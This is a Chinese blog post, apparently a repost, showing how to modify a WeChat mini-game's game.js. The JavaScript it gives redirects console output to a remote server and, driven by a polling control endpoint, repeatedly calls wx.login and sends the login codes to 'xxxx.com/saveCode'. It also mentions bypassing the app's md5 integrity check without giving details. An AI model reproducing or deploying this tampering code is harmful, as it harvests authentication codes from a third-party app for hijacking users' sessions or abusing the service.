微信小程序获取某游戏的code码


 修改 手机端里小程序里的game.js 文件:

至于怎么绕过小程序md5的验证,请各位自行想办法吧,我怕我把思路发出来,腾讯官方给封了。

获取的code码对我来说还是非常有用的。

var url = "https://xxxx.com/echo";
var url2 = "https://xxxx.com/look";
var url3 = "https://xxxx.com/saveCode";
function dzqLog(method, args) {
  wx.request({
    url,
    data: { m: method, a: args },
    method: "post",
    header: { "Content-Type": "application/json" },
    success: function (res) {},
  });
}
console.log = function () {
  dzqLog("log", Array.from(arguments));
};
console.info = function () {
  dzqLog("info", Array.from(arguments));
};
console.error = function () {
  dzqLog("error", Array.from(arguments));
};
console.warn = function () {
  dzqLog("warn", Array.from(arguments));
};

function getCode(){
    wx.login({
      success: function (err) {
        wx.request({
          url:url3,
          data: err,
          method: "post",
          header: { "Content-Type": "application/json" },
          success: function (res) {},
        });
      },
    });
}

setInterval(()=>{
  wx.request({
    url:url2,
    data: {},
    method: "post",
    header: { "Content-Type": "application/json" },
    success: function (res) {
      let {needCount} = res.data;
      if(needCount){
        while(needCount--){
          getCode();
        }
      }
    },
  });
}, 500);

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM